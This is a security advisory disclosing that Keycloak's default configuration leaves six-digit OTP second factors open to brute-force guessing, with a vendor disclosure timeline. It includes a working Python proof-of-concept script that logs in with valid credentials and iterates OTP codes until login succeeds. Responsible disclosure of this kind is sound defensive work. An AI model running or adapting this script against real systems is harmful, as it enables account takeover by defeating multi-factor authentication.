usd-2021-0016 | Keycloak
Advisory ID: usd-2021-0016
Affected Product: Keycloak
Affected Version: Latest (14.0.0)
Vulnerability Type: Multi-Factor-Authentication Brute-Force (CWE-303: Incorrect Implementation of Authentication Algorithm)
Security Risk: Medium
Vendor URL: https://www.keycloak.org
Vendor Status: Not fixed / Default
The following insecure default configuration was identified during a pentest. After investigations with the maintainers of Keycloak, it was shown that there is indeed a secure configuration. Nevertheless, as the default configuration is vulnerable, we decided to still disclose this advisory to increase awareness about this issue.
Description
Keycloak enables users to enable a second factor by using one-time password (OTP) Tokens. In Keycloak’s default configuration, these tokens can be guessed in a brute-force attack.
Multi-factor authentication (MFA) is used to secure the access to user accounts on multiple levels. In case of the compromise of one factor, e.g. a password, further factors protect the account against unauthorized access. In the present case, the second factor is a OTP consisting of six digits, which is queried after the entry of valid credentials. The OTP has a validity of 60 seconds.
In recent versions, Keycloak introduced a global protection against brute-force attacks that also protects the second factor of authentication. As this feature is disabled by default and therefore the OTP is not protected against brute-force attacks if not explicitely configured, an attacker with valid credentials is able to guess the value of the OTP under certain circumstances.
Proof of Concept (PoC)
The issue can be exploited by utilizing Burp Suite’s Intruder or writing a custom python script. An exemplary script is given in the following:
import requests
import re
import html
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TOTP=int(sys.argv[1])
with requests.Session() as s:
print('[*] Fetching session values')
r = s.get('http://example.usd/auth/realms/master/protocol/openid-connect/auth?client_id=a&redirect_uri=http%3A%2F%2Fexample.usd&state=b&response_mode=fragment&response_type=code&scope=openid&nonce=c&code_challenge=d&code_challenge_method=S256')
match = re.search('action="([^"]+)"', r.text)
url = html.unescape(match.group(1))
print('[*] Logging in')
r = s.post(url, data={'username':', 'password':''})
while True:
match = re.search('action="([^"]+)"', r.text)
url = html.unescape(match.group(1))
print('[*] Trying TOTP: {:06d}'.format(TOTP))
r = s.post(url, data={'otp':'{:06d}'.format(TOTP), 'login':'Sign In'}, allow_redirects=False)
if r.status_code == 302:
print('[+] SUCCESS: Logged in')
break
if r.status_code == 200:
status = re.search('Invalid authenticator code.', r.text)
if status is None:
print('[!] Unknwon error')
else:
print('[-] Wrong token')
TOTP += 1
Fix
Timeline
- 2021-04-07: This vulnerability was identified by Konstantin Samuel.
- 2021-04-09: The advisory is sent to Red Hat via https://issues.redhat.com/browse/KEYCLOAK-17727.
- 2021-04-27: Red Hat confirms the vulnerability.
- 2021-04-29: After further investigations, Red Hat outlines that if the Brute Force Detection is enabled (requires manual configuration), the reported issue is mitigated.
- 2021-05-01: usd confirms that the issue is not reproducible with the manual configuration of the Brute Force Detection mechanism.
- 2021-06-11: Red Hat staff agrees to disclose the advisory.
- 2021-07-30: Advisory is published.